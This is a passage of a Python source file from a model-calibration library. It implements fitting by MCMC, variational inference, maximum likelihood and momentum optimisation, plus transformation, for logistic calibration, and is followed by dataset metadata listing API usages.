the base distribution parameters\n            # instead of the distribution parameters itself\n            prior_base = get_base(site['prior'])\n            prior_base.loc = prior_base.loc.to(device)\n            prior_base.scale = prior_base.scale.to(device)\n\n            # set initial values for mean and scale also to the proper device\n            site['init']['mean'] = site['init']['mean'].to(device)\n            site['init']['scale'] = site['init']['scale'].to(device)\n\n        # variational model is ParamStoreDict from pyro\n        if self.vi_model is not None:\n            for key, param in self.vi_model['params'].items():\n                self.vi_model['params'][key] = param.detach().to(device)\n\n        # MCMC samples are also dictionary\n        if self.mcmc_model is not None:\n            for key, param in self.mcmc_model.items():\n                self.mcmc_model[key] = param.detach().to(device)\n\n    @dimensions((1, 2), (1, 2), None, None, None)\n    def fit(\n            self,\n            X: np.ndarray,\n            y: np.ndarray,\n            random_state: int = None,\n            tensorboard: bool = True,\n            log_dir: str = None\n    ) -> 'AbstractLogisticRegression':\n        \"\"\"\n        Build logitic calibration model either conventional with single MLE estimate or with\n        Variational Inference (VI) or Markov-Chain Monte-Carlo (MCMC) algorithm to also obtain uncertainty estimates.\n\n        Parameters\n        ----------\n        X : np.ndarray, shape=(n_samples, [n_classes]) or (n_samples, [n_box_features])\n            NumPy array with confidence values for each prediction on classification with shapes\n            1-D for binary classification, 2-D for multi class (softmax).\n            On detection, this array must have 2 dimensions with number of additional box features in last dim.\n        y : np.ndarray, shape=(n_samples, [n_classes])\n            NumPy array with ground truth labels.\n            Either as label vector (1-D) or as one-hot encoded ground truth array (2-D).\n        random_state : int, optional, default: None\n            Fix the random seed for the random number\n\n        Returns\n        -------\n        AbstractLogisticRegression\n            Instance of class :class:`AbstractLogisticRegression`.\n        \"\"\"\n\n        X, y = super().fit(X, y)\n\n        # prepare data input for algorithm\n        data = self.prepare(X).to(self._device)\n\n        # check if input data type is known\n        if data.dtype not in self.dtypes:\n            raise RuntimeError(\"Unsupported input data type: \", data.dtype)\n\n        # if y is given as one-hot, convert back to categorical encoding\n        if y.ndim == 2:\n            y = np.argmax(y, axis=1)\n\n        y = torch.from_numpy(y).to(self._device)\n        self.num_features = X.shape[1] if self.detection else 1\n\n        # initialize priors\n        self.prior(dtype=data.dtype)\n\n        # mark first dimension as independent\n        for site in self._sites.values():\n            site['prior'] = site['prior'].independent(1)\n\n        self.to(self._device)\n\n        with manual_seed(seed=random_state):\n\n            # markov-chain monte-carlo sampling (with uncertainty estimates)\n            if self.method == 'mcmc':\n                self.mcmc(data, y, tensorboard, log_dir)\n\n            # variational inference (with uncertainty estimates)\n            elif self.method == 'variational':\n                self.variational(data, y, tensorboard, log_dir)\n\n            # Maximum likelihood estimate (without uncertainty)\n            elif self.method == 'mle':\n                self.convex(data, y, tensorboard, log_dir)\n\n            # momentum is for non-convex optimization\n            elif self.method == 'momentum':\n                self.momentum(data, y, tensorboard, log_dir)\n            else:\n                raise AttributeError(\"Unknown method \\'%s\\'.\" % self.method)\n\n        # delete torch tensors\n        del data\n        del y\n\n        # if device is cuda, empty GPU cache to free memory\n        if self._device.type == 'cuda':\n            with torch.cuda.device(self._device):\n                torch.cuda.empty_cache()\n\n        return self\n\n    # -----------------------------------------------------------------\n\n    def mcmc(self, data: torch.Tensor, y: torch.Tensor, tensorboard: bool, log_dir: str):\n        \"\"\"\n        Perform Markov-Chain Monte-Carlo sampling on the (unknown) posterior.\n\n        Parameters\n        ----------\n        data_input : np.ndarray, shape=(n_samples, n_features)\n            NumPy 2-D array with data input.\n        y : np.ndarray, shape=(n_samples,)\n            NumPy array with ground truth labels as 1-D vector (binary).\n        \"\"\"\n\n        if tensorboard:\n            writer = SummaryWriter(log_dir=log_dir)\n            distribution = defaultdict(list)\n\n            def log(kernel, samples, stage, i):\n                \"\"\" Log after each MCMC iteration \"\"\"\n\n                # loop through all sites and log their value as well as the underlying distribution\n                # approximated by a Gaussian\n                for key, value in samples.items():\n                    distribution[key].append(value)\n                    stacked = torch.stack(distribution[key], dim=0)\n                    mean, scale = torch.mean(stacked, dim=0), torch.std(stacked, dim=0)\n\n                    for d, x in enumerate(value):\n                        writer.add_scalar(\"%s_%s_%d\" % (stage, key, d), x, i)\n                        writer.add_scalar(\"%s_%s_mean_%d\" % (stage, key, d), mean[d], i)\n                        writer.add_scalar(\"%s_%s_scale_%d\" % (stage, key, d), scale[d], i)\n\n                        writer.add_histogram(\"%s_histogram_%s_%d\" % (stage, key, d), stacked[:, d], i)\n\n        # if logging is not requested, return empty lambda\n        else:\n            log = lambda kernel, samples, stage, i: None\n\n        # set up MCMC kernel\n        kernel = NUTS(self.model)\n\n        # initialize MCMC sampler and run sampling algorithm\n        mcmc = MCMC(kernel, num_samples=self.mcmc_steps,\n                    warmup_steps=self.mcmc_warmup,\n                    num_chains=self.mcmc_chains,\n                    hook_fn=log)\n        mcmc.run(data, y.to(dtype=data.dtype))\n\n        # get samples from MCMC chains and store weights\n        samples = mcmc.get_samples()\n        self.mcmc_model = samples\n\n        if tensorboard:\n            writer.close()\n\n    def variational(self, data: torch.Tensor, y: torch.Tensor, tensorboard: bool, log_dir: str):\n        \"\"\"\n        Perform variational inference using the guide.\n\n        Parameters\n        ----------\n        data_input : np.ndarray, shape=(n_samples, n_features)\n            NumPy 2-D array with data input.\n        y : np.ndarray, shape=(n_samples,)\n            NumPy array with ground truth labels as 1-D vector (binary).\n        \"\"\"\n\n        num_samples = data.shape[0]\n\n        # create dataset\n        lr_dataset = torch.utils.data.TensorDataset(data, y.to(dtype=data.dtype))\n        data_loader = DataLoader(dataset=lr_dataset, batch_size=1024, pin_memory=False)\n\n        # define optimizer\n        optim = Adam({'lr': 0.01})\n        svi = SVI(self.model, self.guide, optim, loss=Trace_ELBO())\n\n        # add tensorboard writer if requested\n        if tensorboard:\n            writer = SummaryWriter(log_dir=log_dir)\n\n        # start variational process\n        with tqdm(total=self.vi_epochs) as pbar:\n            for epoch in range(self.vi_epochs):\n                epoch_loss = 0.\n                for i, (x, y) in enumerate(data_loader):\n                    epoch_loss += svi.step(x, y)\n\n                # get loss of complete epoch\n                epoch_loss = epoch_loss / num_samples\n\n                # logging stuff\n                if tensorboard:\n\n                    # add loss to logging\n                    writer.add_scalar(\"SVI loss\", epoch_loss, epoch)\n\n                    # get param store and log current state of parameter store\n                    param_store = pyro.get_param_store()\n                    for key in self._sites.keys():\n                        for d, (loc, scale) in enumerate(zip(param_store[\"%s_mean\" % key], param_store[\"%s_scale\" % key])):\n                            writer.add_scalar(\"%s_mean_%d\" % (key, d), loc, epoch)\n                            writer.add_scalar(\"%s_scale_%d\" % (key, d), scale, epoch)\n\n                            # also represent the weights as distributions\n                            density = np.random.normal(loc=loc.detach().cpu().numpy(),\n                                                       scale=scale.detach().cpu().numpy(),\n                                                       size=1000)\n                            writer.add_histogram(\"histogram_%s_%d\" % (key, d), density, epoch)\n\n                # update progress bar\n                pbar.set_description(\"SVI Loss: %.5f\" % epoch_loss)\n                pbar.update(1)\n\n        self.vi_model = pyro.get_param_store().get_state()\n\n        if tensorboard:\n            writer.close()\n\n    def convex(self, data: torch.Tensor, y: torch.Tensor, tensorboard: bool, log_dir: str):\n        \"\"\"\n        Convex optimization to find the global optimum of current parameter search.\n\n        Parameters\n        ----------\n        data_input : np.ndarray, shape=(n_samples, n_features)\n            NumPy 2-D array with data input.\n        y : np.ndarray, shape=(n_samples,)\n            NumPy array with ground truth labels as 1-D vector (binary).\n        \"\"\"\n\n        dtype = data.dtype\n\n        # optimization objective function\n        # compute NLL loss - fix weights given of the model for the current iteration step\n        def MLE(w, x, y):\n\n            data = {}\n            start = 0\n            for name, site in self._sites.items():\n                num_weights = len(site['init']['mean'])\n                data[name] = torch.from_numpy(w[start:start+num_weights]).to(\n                    dtype=dtype,\n                    device=self._device,\n                )\n                start += num_weights\n\n            return loss_op(torch.squeeze(pyro.condition(self.model, data=data)(x)), y).item()\n\n        initial_weights = np.concatenate(\n            [site['init']['mean'].cpu().numpy() for site in self._sites.values()]\n        )\n\n        # on detection or binary classification, use binary cross entropy loss and convert target vector dtype to data dtype\n        if self.detection or self._is_binary_classification():\n\n            # for an arbitrary reason, binary_cross_entropy_with_logits returns NaN\n            # thus, we need to use the bce loss with sigmoid\n            def loss_op(x, y):\n                return torch.nn.BCELoss(reduction='mean')(torch.sigmoid(x), y)\n\n            y = y.to(dtype=dtype)\n\n        # on multiclass classification, use multiclass cross entropy loss and convert target vector to long\n        else:\n            loss_op = torch.nn.CrossEntropyLoss(reduction='mean')\n            y = y.long()\n\n        # convert pytorch optim bounds to scipy optimization format\n        optim_bounds = self._get_scipy_constraints()\n\n        # invoke SciPy's optimization function as this is very light-weight and fast\n        result = minimize(fun=MLE, x0=initial_weights, args=(data, y), bounds=optim_bounds)\n\n        # assign weights to according sites\n        start = 0\n        for name, site in self._sites.items():\n            num_weights = len(site['init']['mean'])\n            site['values'] = result.x[start:start + num_weights].astype(self.dtypes[dtype])\n            start += num_weights\n\n        # on some methods like Beta calibration, it is necessary to repeat the optimization\n        # process if negative parameter estimates occur after training\n        if self.mask_negative:\n\n            # this method has to be implemented by the child class if it should be used\n            masked_weights, bounds = self.mask()\n            if bounds:\n                # rerun minimization routine\n                initial_weights[masked_weights] = 0.0\n                result = minimize(fun=MLE, x0=initial_weights, args=(data, y), bounds=bounds)\n\n        # get intercept and weights after optimization\n        start = 0\n        for name, site in self._sites.items():\n            num_weights = len(site['init']['mean'])\n            site['values'] = result.x[start:start + num_weights].astype(self.dtypes[dtype])\n            start += num_weights\n\n    def momentum(self, data: torch.Tensor, y: torch.Tensor, tensorboard: bool, log_dir: str):\n        \"\"\"\n        Momentum optimization to find the global optimum of current parameter search.\n        This method is slow but tends to find the global optimum for non-convex optimization.\n\n        Parameters\n        ----------\n        data_input : np.ndarray, shape=(n_samples, n_features)\n            NumPy 2-D array with data input.\n        y : np.ndarray, shape=(n_samples,)\n            NumPy array with ground truth labels as 1-D vector (binary).\n        \"\"\"\n\n        assert self.detection, \"Regression calbration: method \\'momentum\\' only supported for detection mode.\"\n\n        # initial learning rate, min delta for early stopping and patience\n        # for early stopping (number of epochs without improvement)\n        init_lr = 1e-3\n        batch_size = 1024\n\n        # criterion is Binary Cross Entropy on logits (numerically more stable)\n        criterion = nn.BCEWithLogitsLoss(reduction='mean')\n\n        # create dataset\n        lr_dataset = torch.utils.data.TensorDataset(data, y.to(dtype=data.dtype))\n        data_loader = DataLoader(dataset=lr_dataset, batch_size=batch_size, pin_memory=False)\n\n        # init model and optimizer\n        parameters = [nn.Parameter(site['init']['mean']).to(self._device) for site in self._sites.values()]\n        optimizer = torch.optim.Adam(parameters, lr=init_lr)\n\n        best_loss = np.infty\n\n        # use tqdm to log loop action\n        with tqdm(total=self.momentum_epochs) as pbar:\n            for epoch in range(self.momentum_epochs):\n\n                # iterate over batches\n                for train_x, train_y in data_loader:\n\n                    condition = {}\n                    for name, param in zip(self._sites.keys(), parameters):\n                        condition[name] = param\n\n                    logit = pyro.condition(self.model, data=condition)(train_x.to(self._device))\n                    loss = criterion(logit, train_y.to(self._device))\n\n                    # perform optimization step\n                    optimizer.zero_grad()\n                    loss.backward()\n                    optimizer.step()\n\n                    # early stopping\n                    # if current loss is best so far, refresh memory\n                    if loss < best_loss:\n                        best_loss = loss\n\n                        pbar.set_description(\"Best Loss: %.6f\" % best_loss)\n                        pbar.refresh()\n\n                # refresh progress bar\n                pbar.update(1)\n\n        # convert pytorch optim bounds to scipy optimization format\n        optim_bounds = self._get_scipy_constraints()\n\n        # get parameter estimates for each site\n        for site, param in zip(self._sites.values(), parameters):\n            site['values'] = param.detach().cpu().numpy()\n\n        # clip to optimization bounds afterwards because the last update step might not capture the\n        # optimization boundaries\n        if optim_bounds is not None:\n\n            start = 0\n            for name, site in self._sites.items():\n                num_weights = len(site['init']['mean'])\n\n                # use NumPy's clip function as this also supports arrays for clipping instead for\n                # single scalars only\n                np.clip(\n                    site['values'],\n                    [b[0] for b in optim_bounds[start:start+num_weights]],\n                    [b[1] for b in optim_bounds[start:start+num_weights]],\n                    out=site['values'],\n                )\n                start += num_weights\n\n    # -----------------------------------------------------------------\n\n    def transform(\n            self,\n            X: np.ndarray,\n            num_samples: int = 1000,\n            random_state: int = None,\n            mean_estimate: bool = False\n    ) -> np.ndarray:\n        \"\"\"\n        After model calibration, this function is used to get calibrated outputs of uncalibrated\n        confidence estimates.\n\n        Parameters\n        ----------\n        X : np.ndarray, shape=(n_samples, [n_classes]) or (n_samples, [n_box_features])\n            NumPy array with confidence values for each prediction on classification with shapes\n            1-D for binary classification, 2-D for multi class (softmax).\n            On detection, this array must have 2 dimensions with number of additional box features in last dim.\n        num_samples : int, optional, default: 1000\n            Number of samples generated on MCMC sampling or Variational Inference.\n        random_state : int, optional, default: None\n            Fix the random seed for the random number\n        mean_estimate : bool, optional, default: False\n            If True, directly return the mean on probabilistic methods like MCMC or VI instead of the full\n            distribution. This parameter has no effect on MLE.\n\n        Returns\n        -------\n        np.ndarray, shape=(n_samples, [n_classes]) on MLE or on MCMC/VI if 'mean_estimate' is True\n        or shape=(n_parameters, n_samples, [n_classes]) on VI, MCMC if 'mean_estimate' is False\n            On MLE without uncertainty, return NumPy array with calibrated confidence estimates.\n            1-D for binary classification, 2-D for multi class (softmax).\n            On VI or MCMC, return NumPy array with leading dimension as the number of sampled parameters from the\n            log regression parameter distribution obtained by VI or MCMC.\n        \"\"\"\n\n        def process_model(weights: dict) -> torch.Tensor:\n            \"\"\" Fix model weights to the weight vector given as the parameter and return calibrated data. \"\"\"\n\n            # model will return pytorch tensor\n            model = pyro.condition(self.model, data=weights)\n            logit = model(data)\n\n            # distinguish between detection, binary and multiclass classification\n            if self.detection or self._is_binary_classification():\n                calibrated = torch.sigmoid(logit)\n            else:\n                calibrated = torch.softmax(logit, dim=1)\n\n            return calibrated\n\n        # prepare input data\n        X = super().transform(X)\n        self.to(self._device)\n\n        # convert input data and weights to torch (and possibly to CUDA)\n        data = self.prepare(X).to(self._device)\n        dtype = data.dtype\n\n        # check if input data type is known\n        if dtype not in self.dtypes:\n            raise RuntimeError(\"Unsupported input data type: \", data.dtype)\n\n        # if weights is 2-D matrix, we are in sampling mode\n        # treat each row as a separate weights vector\n        if self.method in ['variational', 'mcmc']:\n\n            if mean_estimate:\n                weights = {}\n\n                # on MCMC sampling, use mean over all weights as mean weight estimate\n                # TODO: we need to find another way since the parameters are conditionally dependent\n                # TODO: revise!!! We often have log-normals instead of normal distributions,\n                #  thus the mean will be a different\n                if self.mcmc_model is not None:\n                    for name, site in self._sites.items():\n                        weights[name] = torch.from_numpy(np.mean(self.mcmc_model[name])).to(self._device)\n\n                        if weights[name].dtype != dtype:\n                            raise RuntimeError(\"Training dtype %s does not match to passed data dtype %s.\" % (weights[name].dtype, dtype))\n\n                # on variational inference, use mean of the variational distribution for inference\n                elif self.vi_model is not None:\n                    for name, site in self._sites.items():\n                        weights[name] = torch.from_numpy(self.vi_model['params']['%s_mean' % name]).to(self._device)\n\n                        if weights[name].dtype != dtype:\n                            raise RuntimeError(\"Training dtype %s does not match to passed data dtype %s.\" % (weights[name].dtype, dtype))\n\n                else:\n                    raise ValueError(\"Internal error: neither MCMC nor variational model given.\")\n\n                # on MLE without uncertainty, only return the single model estimate\n                calibrated = process_model(weights).cpu().numpy()\n                calibrated = squeeze_generic(calibrated, axes_to_keep=0)\n            else:\n\n                parameter = []\n                if self.mcmc_model is not None:\n\n                    with manual_seed(seed=random_state):\n                        idxs = torch.randint(0, self.mcmc_steps, size=(num_samples,), device=self._device)\n                        samples = {k: v.index_select(0, idxs) for k, v in self.mcmc_model.items()}\n\n                elif self.vi_model is not None:\n\n                    # restore state of global parameter store of pyro and use this parameter store for the predictive\n                    pyro.get_param_store().set_state(self.vi_model)\n                    predictive = Predictive(self.model, guide=self.guide,\n                                            num_samples=num_samples,\n                                            return_sites=tuple(self._sites.keys()))\n\n                    with manual_seed(seed=random_state):\n                        samples = predictive(data)\n\n                else:\n                    raise ValueError(\"Internal error: neither MCMC nor variational model given.\")\n\n                # remove unnecessary dims that possibly occur on MCMC or VI\n                samples = {k: torch.squeeze(v, dim=1) for k, v in samples.items()}\n\n                # iterate over all parameter sets\n                for i in range(num_samples):\n                    param_dict = {}\n\n                    # iterate over all sites and store into parameter dict\n                    for site in self._sites.keys():\n                        param_dict[site] = samples[site][i].detach().to(self._device)\n\n                    parameter.append(param_dict)\n\n                calibrated = []\n\n                # iterate over all parameter collections and compute calibration mapping\n                for param_dict in parameter:\n                    cal = process_model(param_dict)\n                    calibrated.append(cal)\n\n                # stack all calibrated estimates along axis 0 and calculate stddev as well as mean\n                calibrated = torch.stack(calibrated, dim=0).cpu().numpy()\n                calibrated = squeeze_generic(calibrated, axes_to_keep=(0, 1))\n        else:\n\n            # extract all weight values of sites and store into single dict\n            weights = {}\n            for name, site in self._sites.items():\n                weights[name] = torch.from_numpy(site['values']).to(self._device)\n\n                if weights[name].dtype != dtype:\n                    raise RuntimeError(\"Training dtype %s does not match to passed data dtype %s.\" % (weights[name].dtype, dtype))\n\n            # on MLE without uncertainty, only return the single model estimate\n            calibrated = process_model(weights).cpu().numpy()\n            calibrated = squeeze_generic(calibrated, axes_to_keep=0)\n\n        # delete torch data tensor\n        del data\n\n        # if device is cuda, empty GPU cache to free memory\n        if self._device.type == 'cuda':\n            with torch.cuda.device(self._device):\n                torch.cuda.empty_cache()\n\n        return calibrated\n\n    @dimensions((1, 2))\n    def _inverse_sigmoid(self, confidence: Union[np.ndarray, torch.Tensor]) -> Union[np.ndarray, torch.Tensor]:\n        \"\"\" Calculate inverse of Sigmoid to get Logit. \"\"\"\n\n        # get epsilon to prevent digits from being 0 or 1\n        epsilon = self.epsilon(confidence.dtype)\n\n        # on torch tensors, use torch built-in functions\n        if isinstance(confidence, torch.Tensor):\n\n            # clip normal and inverse separately due to numerical stability\n            clipped = torch.clamp(confidence, epsilon, 1. - epsilon)\n            inv_clipped = torch.clamp(1. - confidence, epsilon, 1. - epsilon)\n\n            logit = torch.log(clipped) - torch.log(inv_clipped)\n            return logit\n\n        # use NumPy method otherwise\n        else:\n            clipped = np.clip(confidence, epsilon, 1. - epsilon)\n            return safe_logit(clipped)\n\n    @dimensions(2)\n    def _inverse_softmax(self, confidences: Union[np.ndarray, torch.Tensor]) -> Union[np.ndarray, torch.Tensor]:\n        \"\"\" Calculate inverse of multi class softmax. \"\"\"\n\n        # get epsilon to prevent digits from being 0 or 1\n        epsilon = self.epsilon(confidences.dtype)\n\n        # on torch tensors, use torch built-in functions\n        if isinstance(confidences, torch.Tensor):\n            clipped = torch.clamp(confidences, epsilon, 1. - epsilon)\n            return torch.log(clipped)\n\n        # use NumPy methods otherwise\n        else:\n            clipped = np.clip(confidences, epsilon, 1. - epsilon)\n            return np.log(clipped)\n\n    def _get_scipy_constraints(self) -> List:\n        \"\"\" Convert list of optimization constraints defined in Pytorch to list of tuples for NumPy/Scipy. \"\"\"\n\n        numpy_bounds = []\n\n        # iterate over bias and weights constraints\n        for site in self._sites.values():\n\n            bound = [-np.infty, np.infty]\n            constraint = site['constraint']\n            num_parameters = len(site['init']['mean'])\n\n            # check if constraint object has attributes for lower_bound or upper_bound\n            if constraint is not None:\n                if hasattr(constraint, 'lower_bound'):\n                    bound[0] = constraint.lower_bound\n                if hasattr(constraint, 'upper_bound'):\n                    bound[1] = constraint.upper_bound\n\n            numpy_bounds.extend([tuple(bound), ] * num_parameters)\n\n        return numpy_bounds\n", "repo_name": "EFS-OpenSource/calibration-framework", "sub_path": "netcal/scaling/AbstractLogisticRegression.py", "file_name": "AbstractLogisticRegression.py", "file_ext": "py", "file_size_in_byte": 39684, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 286, "dataset": "github-code", "pt": "71", "api": [{"api_name": "netcal.AbstractCalibration", "line_number": 27, "usage_type": "name"}, {"api_name": "torch.float16", "line_number": 101, "usage_type": "attribute"}, {"api_name": "torch.float32", "line_number": 102, "usage_type": "attribute"}, {"api_name": "torch.float64", "line_number": 103, "usage_type": "attribute"}, {"api_name": "torch.int8", "line_number": 104, "usage_type": "attribute"}, {"api_name": "torch.int16", "line_number": 105, "usage_type": "attribute"}, {"api_name": "torch.int32", "line_number": 106, "usage_type": "attribute"}, {"api_name": "torch.int64", "line_number": 107, "usage_type": "attribute"}, {"api_name": "numpy.float16", "line_number": 101, "usage_type": "attribute"}, {"api_name": "numpy.float32", "line_number": 102, "usage_type": "attribute"}, {"api_name": "numpy.float64", "line_number": 103, "usage_type": "attribute"}, {"api_name": "numpy.int8", "line_number": 104, "usage_type": "attribute"}, {"api_name": "numpy.int16", "line_number": 105, "usage_type": "attribute"}, {"api_name": "numpy.int32", "line_number": 106, "usage_type": "attribute"}, {"api_name": "numpy.int64", "line_number": 107, "usage_type": "attribute"}, {"api_name": "typing.Union", "line_number": 124, "usage_type": "name"}, {"api_name": "warnings.warn", "line_number": 132, "usage_type": "call"}, {"api_name": "warnings.warn", "line_number": 136, "usage_type": "call"}, {"api_name": "torch.device", "line_number": 156, "usage_type": "call"}, {"api_name": "torch.cuda.get_device_name", "line_number": 157, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 157, "usage_type": "attribute"}, {"api_name": "torch.cuda.is_available", "line_number": 160, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 160, "usage_type": "attribute"}, {"api_name": "torch.device", "line_number": 160, "usage_type": "call"}, {"api_name": "netcal.accepts", "line_number": 110, "usage_type": "call"}, {"api_name": "torch.device", "line_number": 178, "usage_type": "call"}, {"api_name": "pyro.clear_param_store", "line_number": 188, "usage_type": "call"}, {"api_name": "numpy.ndarray", "line_number": 197, "usage_type": "attribute"}, {"api_name": "torch.Tensor", "line_number": 214, "usage_type": "call"}, {"api_name": "abc.abstractmethod", "line_number": 196, "usage_type": "attribute"}, {"api_name": "torch.Tensor", "line_number": 197, "usage_type": "attribute"}, {"api_name": "torch.dtype", "line_number": 217, "usage_type": "attribute"}, {"api_name": "abc.abstractmethod", "line_number": 216, "usage_type": "attribute"}, {"api_name": "torch.Tensor", "line_number": 231, "usage_type": "attribute"}, {"api_name": "abc.abstractmethod", "line_number": 230, "usage_type": "attribute"}, {"api_name": "typing.Tuple", "line_number": 251, "usage_type": "name"}, {"api_name": "numpy.ndarray", "line_number": 251, "usage_type": "attribute"}, {"api_name": "typing.List", "line_number": 251, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 265, "usage_type": "attribute"}, {"api_name": "pyro.param", "line_number": 283, "usage_type": "call"}, {"api_name": "pyro.param", "line_number": 284, "usage_type": "call"}, {"api_name": "torch.distributions.constraints.positive", "line_number": 284, "usage_type": "attribute"}, {"api_name": "torch.distributions.constraints", "line_number": 284, "usage_type": "name"}, {"api_name": "torch.distributions.constraints._GreaterThan", "line_number": 288, "usage_type": "attribute"}, {"api_name": "torch.distributions.constraints", "line_number": 288, "usage_type": "name"}, {"api_name": "torch.distributions.constraints._GreaterThanEq", "line_number": 288, "usage_type": "attribute"}, {"api_name": "pyro.distributions.LogNormal", "line_number": 288, "usage_type": "attribute"}, {"api_name": "pyro.distributions", "line_number": 288, "usage_type": "name"}, {"api_name": "pyro.distributions.Normal", "line_number": 288, "usage_type": "attribute"}, {"api_name": "pyro.sample", "line_number": 290, "usage_type": "call"}, {"api_name": "torch.device", "line_number": 294, "usage_type": "attribute"}, {"api_name": "pyro.distributions.Distribution", "line_number": 297, "usage_type": "attribute"}, {"api_name": "pyro.distributions", "line_number": 297, "usage_type": "name"}, {"api_name": "pyro.distributions.Independent", "line_number": 300, "usage_type": "attribute"}, {"api_name": "pyro.distributions", "line_number": 300, "usage_type": "name"}, {"api_name": "pyro.distributions.LogNormal", "line_number": 300, "usage_type": "attribute"}, {"api_name": "pyro.distributions.Normal", "line_number": 302, "usage_type": "attribute"}, {"api_name": "pyro.distributions", "line_number": 302, "usage_type": "name"}, {"api_name": "torch.distributions.Normal", "line_number": 302, "usage_type": "attribute"}, {"api_name": "torch.distributions", "line_number": 302, "usage_type": "name"}, {"api_name": "collections.OrderedDict", "line_number": 307, "usage_type": "argument"}, {"api_name": "pyro.distributions.Distribution", "line_number": 312, "usage_type": "attribute"}, {"api_name": "pyro.distributions", "line_number": 312, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 313, "usage_type": "attribute"}, {"api_name": "torch.Tensor", "line_number": 314, "usage_type": "attribute"}, {"api_name": "numpy.ndarray", "line_number": 339, "usage_type": "attribute"}, {"api_name": "numpy.ndarray", "line_number": 340, "usage_type": "attribute"}, {"api_name": "numpy.argmax", "line_number": 378, "usage_type": "call"}, {"api_name": "torch.from_numpy", "line_number": 380, "usage_type": "call"}, {"api_name": "netcal.manual_seed", "line_number": 392, "usage_type": "call"}, {"api_name": "torch.cuda.device", "line_number": 418, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 418, "usage_type": "attribute"}, {"api_name": "torch.cuda.empty_cache", "line_number": 419, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 419, "usage_type": "attribute"}, {"api_name": "netcal.dimensions", "line_number": 336, "usage_type": "call"}, {"api_name": "torch.Tensor", "line_number": 425, "usage_type": "attribute"}, {"api_name": "torch.utils.tensorboard.SummaryWriter", "line_number": 438, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 439, "usage_type": "call"}, {"api_name": "torch.stack", "line_number": 448, "usage_type": "call"}, {"api_name": "torch.mean", "line_number": 449, "usage_type": "call"}, {"api_name": "torch.std", "line_number": 449, "usage_type": "call"}, {"api_name": "pyro.infer.NUTS", "line_number": 463, "usage_type": "call"}, {"api_name": "pyro.infer.MCMC", "line_number": 466, "usage_type": "call"}, {"api_name": "torch.Tensor", "line_number": 479, "usage_type": "attribute"}, {"api_name": "torch.utils.data.TensorDataset", "line_number": 494, "usage_type": "call"}, {"api_name": "torch.utils", "line_number": 494, "usage_type": "attribute"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 495, "usage_type": "call"}, {"api_name": "pyro.optim.Adam", "line_number": 498, "usage_type": "call"}, {"api_name": "pyro.infer.SVI", "line_number": 499, "usage_type": "call"}, {"api_name": "pyro.infer.Trace_ELBO", "line_number": 499, "usage_type": "call"}, {"api_name": "torch.utils.tensorboard.SummaryWriter", "line_number": 503, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 506, "usage_type": "call"}, {"api_name": "pyro.get_param_store", "line_number": 522, "usage_type": "call"}, {"api_name": "numpy.random.normal", "line_number": 529, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 529, "usage_type": "attribute"}, {"api_name": "pyro.get_param_store", "line_number": 538, "usage_type": "call"}, {"api_name": "torch.Tensor", "line_number": 543, "usage_type": "attribute"}, {"api_name": "torch.from_numpy", "line_number": 565, "usage_type": "call"}, {"api_name": "torch.squeeze", "line_number": 571, "usage_type": "call"}, {"api_name": "pyro.condition", "line_number": 571, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 573, "usage_type": "call"}, {"api_name": "torch.nn.BCELoss", "line_number": 583, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 583, "usage_type": "attribute"}, {"api_name": "torch.sigmoid", "line_number": 583, "usage_type": "call"}, {"api_name": "torch.nn.CrossEntropyLoss", "line_number": 589, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 589, "usage_type": "attribute"}, {"api_name": "scipy.optimize.minimize", "line_number": 596, "usage_type": "call"}, {"api_name": "scipy.optimize.minimize", "line_number": 614, "usage_type": "call"}, {"api_name": "torch.Tensor", "line_number": 623, "usage_type": "attribute"}, {"api_name": "torch.nn.BCEWithLogitsLoss", "line_number": 644, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 644, "usage_type": "name"}, {"api_name": "torch.utils.data.TensorDataset", "line_number": 647, "usage_type": "call"}, {"api_name": "torch.utils", "line_number": 647, "usage_type": "attribute"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 648, "usage_type": "call"}, {"api_name": "torch.nn.Parameter", "line_number": 651, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 651, "usage_type": "name"}, {"api_name": "torch.optim.Adam", "line_number": 652, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 652, "usage_type": "attribute"}, {"api_name": "numpy.infty", "line_number": 654, "usage_type": "attribute"}, {"api_name": "tqdm.tqdm", "line_number": 657, "usage_type": "call"}, {"api_name": "pyro.condition", "line_number": 667, "usage_type": "call"}, {"api_name": "numpy.clip", "line_number": 703, "usage_type": "call"}, {"api_name": "numpy.ndarray", "line_number": 715, "usage_type": "attribute"}, {"api_name": "pyro.condition", "line_number": 752, "usage_type": "call"}, {"api_name": "torch.sigmoid", "line_number": 757, "usage_type": "call"}, {"api_name": "torch.softmax", "line_number": 759, "usage_type": "call"}, {"api_name": "torch.Tensor", "line_number": 748, "usage_type": "attribute"}, {"api_name": "torch.from_numpy", "line_number": 788, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 788, "usage_type": "call"}, {"api_name": "torch.from_numpy", "line_number": 796, "usage_type": "call"}, {"api_name": "netcal.squeeze_generic", "line_number": 806, "usage_type": "call"}, {"api_name": "netcal.manual_seed", "line_number": 812, "usage_type": "call"}, {"api_name": "torch.randint", "line_number": 813, "usage_type": "call"}, {"api_name": "pyro.get_param_store", "line_number": 819, "usage_type": "call"}, {"api_name": "pyro.infer.Predictive", "line_number": 820, "usage_type": "call"}, {"api_name": "netcal.manual_seed", "line_number": 824, "usage_type": "call"}, {"api_name": "torch.squeeze", "line_number": 831, "usage_type": "call"}, {"api_name": "torch.stack", "line_number": 851, "usage_type": "call"}, {"api_name": "netcal.squeeze_generic", "line_number": 852, "usage_type": "call"}, {"api_name": "torch.from_numpy", "line_number": 858, "usage_type": "call"}, {"api_name": "netcal.squeeze_generic", "line_number": 865, 